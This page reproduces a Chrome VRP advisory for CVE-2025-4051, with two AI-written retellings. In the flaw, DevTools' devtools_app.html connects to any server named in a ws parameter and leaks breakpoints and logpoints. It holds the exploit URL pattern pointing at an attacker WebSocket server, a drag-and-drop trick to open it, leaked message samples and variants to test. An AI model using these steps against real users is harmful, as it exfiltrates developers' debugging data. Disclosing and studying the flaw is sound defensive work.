Skip to content
Info disclosure Advisory Intermediate CVE-2025-4051

Insufficient data validation in DevTools (CVE-2025-4051)

The DevTools frontend page accepts a WebSocket URL from query parameters and connects to it, sending breakpoint and logpoint data. An attacker can trick a victim into opening a crafted devtools:// URL, causing the victim's breakpoint history to leak to the attacker's WebSocket server.

Daniel Fröjdendahl Follow

Originally disclosed on Chrome VRP

Bounty$2,000 Medium View original
  • Fix shipped in 45 days

Steps to reproduce the problem

Steps to reproduce as attacker:

  1. Run attacker WebSocket server, locally or remotely.

Steps to reproduce as victim:

  1. Have breakpoints/logpoints set
  2. Navigate to: http://localhost:9123/#devtools://devtools/bundled/devtools_app.html?ws=192.168.0.1:6123
  3. Drag the installer icon into a new tab

Problem Description

This vulnerability exists in any DevTools frontend page (devtools_app.html). The vulnerability can be exploited by making the victim navigate to a particular URL, which makes the DevTools frontend connect to the attacker's WebSocket server (using the "ws" or "wss" query parameters). The following URL can be used to exploit this vulnerability: devtools://devtools/bundled/devtools_app.html?&ws=[URL of attacker WebSocket server, without the protocol].

This isn't the final exploit URL though, as an attacker can't simply redirect a victim to this URL, as it contains the "devtools" protocol. There are afaik two ways to make a victim navigate to that devtools URL, by using a 'drag and drop' interaction or via an extension with the correct permissions set (debugger permission). An example of a malicious site which uses that interaction to open the exploit URL is included in the reproduction case. Do note that BOTH the http and websocker attacker server can be fully remote hosted.

While connecting to the remote attacker-controlled websocket, the victim (whom already have set Breakpoints/Logpoints) leaks these from its browser to the attacker's websocket server. In the connection to the remote websocket server the connecting chrome-browser sends its 'Debugger.setBreakpointByUrl' messages.

** As an example the victim has set some breakpoints and visits the devtools:// url: **

>  {"id":59,"method":"Debugger.setBreakpointByUrl","params":{"lineNumber":0,"url":"chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/scripts/inpage.js","columnNumber":97,"condition":"ChromiumDataLeakTestFromMetaMask\n\n//# sourceURL=debugger://breakpoint"}}
>  {"id":60,"method":"Debugger.setBreakpointByUrl","params":{"lineNumber":1,"url":"https://www.chromium.org/_scripts/@docsearch/index.js","columnNumber":0,"condition":"/** DEVTOOLS_LOGPOINT */ console.log(ChromiumDataLeakTestFromChromiumOrg)\n\n//# sourceURL=debugger://logpoint"}}

Examples here is from Metamask extension as well as a logpoint set on "https://www.chromium.org/_scripts/@docsearch/index.js".

As the frontend cdp is heavily limited, I highly suspect this isn't intended as this data is leaking by simply connecting to it.

BISECT

Seems to be due to how 'setAllBreakpointsEagerly' was turned on by default in this commit:

https://chromium.googlesource.com/chromium/src/+/283a4a95c568dccade69ef4c641ab64d63281ddb https://chromium.googlesource.com/devtools/devtools-frontend.git/+/0a2132a121f5a31fe72fe4309e9266d1cdb2e547 https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/4727398

Before this, the breakpoints was behind a query-parameter: https://chromium.googlesource.com/chromium/src/+/dbde612cafe4beb115f24a997d4471fad6dfb539

Here is where that logic was added: https://chromium.googlesource.com/devtools/devtools-frontend.git/+/347ba8d36b0906e6a7b582c5261b08159d520bf2

Summary

DevTools frontend leaks breakpoint history to any remote WebSocket server it connects to

Custom Questions

Reporter credit:

Daniel Fröjdendahl

Additional Data

Category: Security
Chrome Channel: Stable
Regression: N/A

The original report as published on the Chromium issue tracker, by Daniel Fröjdendahl. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Insufficient data validation in DevTools (CVE-2025-4051)

Context

Chrome DevTools ships a frontend page, devtools_app.html, that can be loaded in a normal browser tab. That frontend speaks the Chrome DevTools Protocol (CDP) to a backend. When the page is opened with a ws or wss query parameter, the frontend connects to the WebSocket server named in that parameter instead of the local browser backend. The frontend connects to the WebSocket server named in that parameter instead of the local browser backend.

The report shows that this connection is not one-way. Once connected, the frontend pushes the user's existing breakpoints and logpoints to whatever server is on the other end. Because the frontend's CDP surface is heavily limited, the researcher argues this data flow is not intended: the data leaks simply by connecting.

The issue was reported through the Chrome VRP by Daniel Fröjdendahl, rated medium severity, and fixed as CVE-2025-4051. A bounty of 2000 USD was awarded and the advisory was disclosed on 2025-04-29. The affected Chrome channel in the report is Stable, and the regression field is marked N/A.

Setup

The researcher needs two things:

  1. An attacker-controlled WebSocket server, which can be hosted locally or remotely. Both the HTTP server and the WebSocket server used in the reproduction can be fully remote.
  2. A victim browser that already has breakpoints or logpoints set, so there is something to leak.

No accounts, extensions or special permissions are required on the victim side for the core leak. The only precondition is the existing breakpoint or logpoint state.

Finding it

The report states that the vulnerability exists in any DevTools frontend page (devtools_app.html), which accepts ws and wss query parameters and connects to the server they name. The report states that the frontend CDP is heavily limited and that the researcher highly suspects this is not intended, since the data leaks by simply connecting to it.

Exploitation

Step 1: Start the attacker WebSocket server

Run an attacker WebSocket server, locally or remotely. The report does not include the server code.

Step 2: Prepare the victim

On the victim side, have breakpoints or logpoints set in DevTools. These are the values that will be sent out later.

Step 3: Make the victim navigate to the DevTools frontend URL

The exploit URL has this shape:

Text
devtools://devtools/bundled/devtools_app.html?&ws=[URL of attacker WebSocket server, without the protocol].

The ws parameter carries the attacker's WebSocket server address without the protocol prefix. When the frontend loads, it connects to that server.

Step 4: Get around the devtools:// scheme

A victim cannot simply be redirected to a devtools:// URL. The report describes two ways to make the victim navigate there:

  1. A drag and drop interaction.
  2. An extension with the correct permissions set, specifically the debugger permission.

The reproduction case includes an example of a malicious site that uses the drag and drop interaction to open the exploit URL. The reproduction URL given for the victim is:

Text
http://localhost:9123/#devtools://devtools/bundled/devtools_app.html?ws=[redacted]:6123

In the victim steps, after having breakpoints or logpoints set, the victim navigates to that URL and then drags the installer icon into a new tab. The fragment carries the devtools:// URL, and the drag and drop is what actually opens it.

Step 5: Observe the leaked breakpoints

While the frontend is connected to the attacker-controlled WebSocket, the victim's browser sends Debugger.setBreakpointByUrl messages to that server. The report gives two examples, from a victim with breakpoints set who visits the devtools:// URL:

Text
>  {"id":59,"method":"Debugger.setBreakpointByUrl","params":{"lineNumber":0,"url":"chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/scripts/inpage.js","columnNumber":97,"condition":"ChromiumDataLeakTestFromMetaMask\n\n//# sourceURL=debugger://breakpoint"}}
>  {"id":60,"method":"Debugger.setBreakpointByUrl","params":{"lineNumber":1,"url":"https://www.chromium.org/_scripts/@docsearch/index.js","columnNumber":0,"condition":"/** DEVTOOLS_LOGPOINT */ console.log(ChromiumDataLeakTestFromChromiumOrg)\n\n//# sourceURL=debugger://logpoint"}}

Each message carries the url of the script the breakpoint is set on, the lineNumber and columnNumber, and the condition string. The first example is a breakpoint on a MetaMask extension script, chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/scripts/inpage.js. The second is a logpoint set on https://www.chromium.org/_scripts/@docsearch/index.js. The condition field is where the breakpoint condition or logpoint expression appears, and the sourceURL comment shows whether it was a breakpoint or a logpoint.

Root cause

The report attributes the behaviour to setAllBreakpointsEagerly being turned on by default. The bisect points to these commits:

Text
https://chromium.googlesource.com/chromium/src/+/[redacted]
https://chromium.googlesource.com/devtools/devtools-frontend.git/+/[redacted]
https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/4727398

Before that change, the breakpoints were behind a query parameter:

Text
https://chromium.googlesource.com/chromium/src/+/[redacted]

The logic itself was added here:

Text
https://chromium.googlesource.com/devtools/devtools-frontend.git/+/[redacted]

In other words, the breakpoints are no longer gated behind a query parameter. Combined with the ws/wss parameters that let any page point the frontend at an arbitrary server, the breakpoint history goes to whoever is listening. The report does not describe any validation that would have stopped this.

Impact

An attacker who can get a victim to open the crafted devtools:// URL receives the victim's breakpoint and logpoint history over the attacker's WebSocket connection. That includes the URLs of the scripts the breakpoints are set on, their line and column positions, and the condition or logpoint expressions. In the examples this covers a browser extension script and a site script.

The conditions are narrow. The victim must already have breakpoints or logpoints set, and must be made to navigate to the devtools:// URL, either through a drag and drop interaction or through an extension holding the debugger permission. The attacker's HTTP and WebSocket servers can both be fully remote. The report rates the issue medium severity.

Fix

The report does not describe the fix. It only identifies the change that introduced the behaviour (setAllBreakpointsEagerly on by default) and the earlier state where breakpoints were gated behind a query parameter. The advisory records the issue as CVE-2025-4051.

Variants to test

  1. Other DevTools frontend pages that accept ws or wss parameters. A positive result is the page connecting to a server you control and sending state you did not explicitly ask it to send.
  2. Other CDP domains on the limited frontend surface. A positive result is any message sent on connect that reveals local configuration, such as breakpoint, logpoint or workspace state.
  3. The wss parameter alongside ws. A positive result is the same leak over a TLS WebSocket connection.
  4. The extension route with the debugger permission. A positive result is an extension with the debugger permission opening the devtools:// URL and the frontend connecting out.
  5. The drag and drop route from a malicious page. A positive result is the fragment-carried devtools:// URL opening in a new tab after the drag, as in the reproduction URL above.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

Chrome has a built-in set of tools for web developers, called DevTools. One part of DevTools is a web page, devtools_app.html, that can be opened in an ordinary browser tab. That page normally talks to the browser it lives in, so it can show you things like the code running on a website and let you pause that code.

The page can also be told to talk to a different computer instead. If the address used to open it contains a ws or wss setting, the page connects to whatever server that setting names.

The problem is that the conversation is not one-way. As soon as the page connects, it sends the user's saved breakpoints and logpoints to the server on the other end. A breakpoint is a marker a developer puts on a line of code so the browser pauses there; a logpoint is similar but prints a message instead of pausing. These markers can contain the address of the script they sit on, the exact line and column, and any condition or expression the developer typed. If the server belongs to an attacker, the attacker receives all of that.

The researcher who found this, Daniel Fröjdendahl, reported it through the Chrome VRP, the programme that pays people for reporting security bugs in Chrome. It was rated medium severity, given the identifier CVE-2025-4051, and a bounty of 2000 USD was paid. The advisory was disclosed on 2025-04-29. The report lists the affected Chrome channel as Stable and the regression field as N/A.

The pieces involved

Before the steps make sense, a few ideas need explaining.

  • DevTools: the panel built into Chrome that developers use to inspect pages, read errors and pause code. Think of it as the dashboard under the bonnet of a car.
  • Frontend and backend: DevTools is split in two. The frontend is the part you see, the page with the buttons and panels. The backend is the part inside the browser that actually controls the page. They talk to each other over a connection.
  • CDP (Chrome DevTools Protocol): the language the frontend and backend use to talk. It is a set of named commands, such as "set a breakpoint at this address". Think of it as a fixed menu of instructions, like the buttons on a TV remote.
  • WebSocket: a connection between two computers that stays open in both directions, so either side can send a message at any time. A normal web request is like posting a letter and waiting for a reply; a WebSocket is like a phone call that stays connected.
  • Query parameter: the part of a web address after a ?, made of name and value pairs. In page.html?colour=blue, colour is the parameter and blue is its value. It is a way of passing settings to a page through the address itself.
  • ws and wss: ws is the address prefix for a WebSocket connection, and wss is the same thing with encryption, like http versus https.
  • Breakpoint: a marker on a line of code that tells the browser to pause when execution reaches that line. It is like putting a bookmark in a book and asking someone to stop reading there.
  • Logpoint: a marker that does not pause but prints a message when the code reaches that line. It is like a sticky note saying "write down the value here".
  • Extension: a small add-on installed in the browser that can ask for extra powers. One of those powers is called debugger, which lets the extension use developer tooling.
  • devtools://: a special address prefix, like http://, that opens Chrome's own internal DevTools pages rather than a website. Ordinary web pages are not allowed to send you to such an address by a simple redirect, which is why the attacker needs a trick.
  • Fragment: the part of a web address after a #. It is normally used to jump to a section of a page, and it is not sent to the web server.
  • CVE: a public catalogue number given to a known security flaw so people can refer to it unambiguously.

Setting up

The researcher needs two things.

  1. A WebSocket server under the attacker's control. It can run on the attacker's own machine or somewhere on the internet; the report notes that both the HTTP server and the WebSocket server used in the reproduction can be fully remote.
  2. A victim browser that already has breakpoints or logpoints set, because otherwise there is nothing to leak.

No account, extension or special permission is needed on the victim side for the core leak. The only precondition is that the victim already has some breakpoints or logpoints saved.

Finding it

The report states that the vulnerability exists in any DevTools frontend page, devtools_app.html, which accepts ws and wss parameters and connects to the server they name. The report says the frontend's CDP surface is heavily limited, meaning the page can only issue a small set of commands, and that the researcher highly suspects this is not intended, because the data leaks by simply connecting to it.

Carrying out the attack

Step 1: Start the attacker WebSocket server

Run a WebSocket server, locally or remotely. This is the phone line the victim's browser will call. The report does not include the server code.

Step 2: Prepare the victim

On the victim side, have breakpoints or logpoints set in DevTools. These are the values that will be sent out later. Without them there is nothing to steal, which is why this step comes first.

Step 3: Make the victim open the DevTools frontend address

The exploit address has this shape:

Text
devtools://devtools/bundled/devtools_app.html?&ws=[URL of attacker WebSocket server, without the protocol].

Line by line:

  • devtools:// is the special prefix that opens one of Chrome's internal developer pages instead of a website.
  • devtools/bundled/devtools_app.html is the path of the DevTools frontend page inside Chrome.
  • ?&ws= starts the query parameters and names the ws parameter. The extra & is harmless; it just separates parameters, and here there is only one that matters.
  • [URL of attacker WebSocket server, without the protocol] is where the attacker's server address goes, written without the ws:// or wss:// prefix.

When the page loads, it reads the ws parameter and connects to that server. That is the whole mechanism: the address itself tells the page where to call.

Step 4: Get around the devtools:// prefix

A victim cannot simply be redirected to a devtools:// address. Browsers deliberately stop ordinary web pages from sending you to internal addresses, in the same way a stranger cannot walk you into a restricted building just by asking. The report describes two ways to make the victim navigate there:

  1. A drag and drop interaction.
  2. An extension with the correct permissions set, specifically the debugger permission.

The reproduction case includes an example of a malicious site that uses the drag and drop interaction to open the exploit address. The address given for the victim to visit is:

Text
http://localhost:9123/#devtools://devtools/bundled/devtools_app.html?ws=[redacted]:6123

Line by line:

  • http://localhost:9123/ is a page served from the victim's own machine on port 9123. In the reproduction this is the attacker's page, served locally.
  • # starts the fragment, the part of the address after the hash.
  • devtools://devtools/bundled/devtools_app.html?ws=[redacted]:6123 is the DevTools address hidden inside the fragment. The ws parameter points at [redacted] on port 6123, the attacker's WebSocket server.

In the victim steps, after having breakpoints or logpoints set, the victim navigates to that address and then drags the installer icon into a new tab. The fragment carries the devtools:// address, and the drag and drop is what actually opens it. The reason for this two-part trick is that the browser will not follow the internal address on its own, but a drag started by the user is treated as a deliberate action.

Step 5: Watch the breakpoints arrive

While the page is connected to the attacker's WebSocket, the victim's browser sends Debugger.setBreakpointByUrl messages to that server. The report gives two examples, from a victim with breakpoints set who visits the devtools:// address:

Text
>  {"id":59,"method":"Debugger.setBreakpointByUrl","params":{"lineNumber":0,"url":"chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/scripts/inpage.js","columnNumber":97,"condition":"ChromiumDataLeakTestFromMetaMask\n\n//# sourceURL=debugger://breakpoint"}}
>  {"id":60,"method":"Debugger.setBreakpointByUrl","params":{"lineNumber":1,"url":"https://www.chromium.org/_scripts/@docsearch/index.js","columnNumber":0,"condition":"/** DEVTOOLS_LOGPOINT */ console.log(ChromiumDataLeakTestFromChromiumOrg)\n\n//# sourceURL=debugger://logpoint"}}

Each line is one message in a format called JSON, which is just text arranged as labelled values. Going through the first message:

  • id is a number the sender uses to match a reply to its request, like a ticket number.
  • method is the name of the command being sent, here Debugger.setBreakpointByUrl, which means "set a breakpoint at this address".
  • params holds the details of that command.
  • lineNumber and columnNumber say exactly where in the script the marker sits.
  • url is the address of the script the marker is on. Here it is a browser extension script, chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/scripts/inpage.js, which the report identifies as belonging to MetaMask.
  • condition is the text the developer attached to the marker. Here it contains ChromiumDataLeakTestFromMetaMask, a test string, followed by a sourceURL comment that marks it as a breakpoint.

The second message has the same shape. Its url is https://www.chromium.org/_scripts/@docsearch/index.js, and its condition contains /** DEVTOOLS_LOGPOINT */ console.log(ChromiumDataLeakTestFromChromiumOrg), a logpoint expression, with a sourceURL comment marking it as a logpoint.

So each message reveals the script address, the exact position, and whatever the developer typed as a condition or expression. The first example is a breakpoint on a MetaMask extension script; the second is a logpoint on a script from chromium.org. The sourceURL comment is how you can tell a breakpoint from a logpoint in the message.

Why it happens

The report attributes the behaviour to a setting called setAllBreakpointsEagerly being turned on by default. "Eagerly" here means "straight away, without being asked". The bisect, which is the process of testing older and newer versions to find the change that introduced a behaviour, points to these commits:

Text
https://chromium.googlesource.com/chromium/src/+/[redacted]
https://chromium.googlesource.com/devtools/devtools-frontend.git/+/[redacted]
https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/4727398

A commit is a saved change to the source code, and these links point to the change in question. Before that change, the breakpoints were behind a query parameter:

Text
https://chromium.googlesource.com/chromium/src/+/[redacted]

"Behind a query parameter" means the page only sent the breakpoints if the address explicitly asked for it, so a plain connection did not send anything. The logic itself was added here:

Text
https://chromium.googlesource.com/devtools/devtools-frontend.git/+/[redacted]

In other words, the breakpoints are no longer gated behind a query parameter. Combined with the ws and wss parameters that let any address point the page at an arbitrary server, the breakpoint history goes to whoever is listening. The report does not describe any validation that would have stopped this.

What an attacker gets

An attacker who can get a victim to open the crafted devtools:// address receives the victim's breakpoint and logpoint history over the attacker's WebSocket connection. That includes the addresses of the scripts the markers are set on, their line and column positions, and the condition or logpoint expressions. In the examples this covers a browser extension script and a site script.

The conditions are narrow. The victim must already have breakpoints or logpoints set, and must be made to navigate to the devtools:// address, either through a drag and drop interaction or through an extension holding the debugger permission. The attacker's HTTP and WebSocket servers can both be fully remote. The report rates the issue medium severity.

The fix

The report does not describe the fix. It only identifies the change that introduced the behaviour, setAllBreakpointsEagerly being on by default, and the earlier state where breakpoints were gated behind a query parameter. The advisory records the issue as CVE-2025-4051.

Things worth testing further

  1. Other DevTools frontend pages that accept ws or wss parameters. A positive result is the page connecting to a server you control and sending state you did not explicitly ask it to send.
  2. Other CDP commands on the limited frontend surface. A positive result is any message sent on connect that reveals local settings, such as breakpoint, logpoint or workspace state.
  3. The wss parameter alongside ws. A positive result is the same leak over an encrypted WebSocket connection.
  4. The extension route with the debugger permission. A positive result is an extension with the debugger permission opening the devtools:// address and the page connecting out.
  5. The drag and drop route from a malicious page. A positive result is the fragment-carried devtools:// address opening in a new tab after the drag, as in the reproduction address above.

Glossary

  • Advisory: a public notice describing a security flaw and its fix.
  • Bisect: testing older and newer versions of software to find the exact change that introduced a behaviour.
  • Bounty: money paid by a company to someone who reports a security flaw.
  • Breakpoint: a marker on a line of code that makes the browser pause when execution reaches it.
  • CDP (Chrome DevTools Protocol): the set of named commands the DevTools frontend and backend use to talk to each other.
  • Chrome VRP: Chrome's Vulnerability Reward Program, which pays for reports of security bugs in Chrome.
  • Commit: a saved change to source code, with a link that identifies it.
  • Condition: the text a developer attaches to a breakpoint, which decides when it applies or what it prints.
  • CVE: a public catalogue number given to a known security flaw.
  • debugger permission: an extra power an extension can request that lets it use developer tooling.
  • DevTools: the developer tools built into Chrome for inspecting pages and pausing code.
  • devtools://: a special address prefix that opens Chrome's own internal developer pages.
  • Extension: a small add-on installed in the browser that can request extra powers.
  • Fragment: the part of a web address after a #, normally used to jump to a section of a page.
  • Frontend: the visible part of a tool, here the DevTools page with its buttons and panels.
  • Backend: the part of a tool that does the actual work, here the part inside the browser that controls the page.
  • JSON: a text format for labelled values, used for messages between programs.
  • Logpoint: a marker on a line of code that prints a message instead of pausing.
  • Query parameter: a name and value pair after a ? in a web address, used to pass settings to a page.
  • Regression: a flaw that appeared because a working behaviour was broken by a later change.
  • Severity: a rating of how serious a flaw is.
  • sourceURL comment: a comment in code that labels where the code came from, used here to mark a breakpoint or logpoint.
  • Stable: the normal release channel of Chrome that most people use.
  • WebSocket: a connection between two computers that stays open in both directions.
  • ws / wss: the address prefixes for a WebSocket connection, unencrypted and encrypted respectively.

More by Daniel Fröjdendahl

View all

1 more disclosed report, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.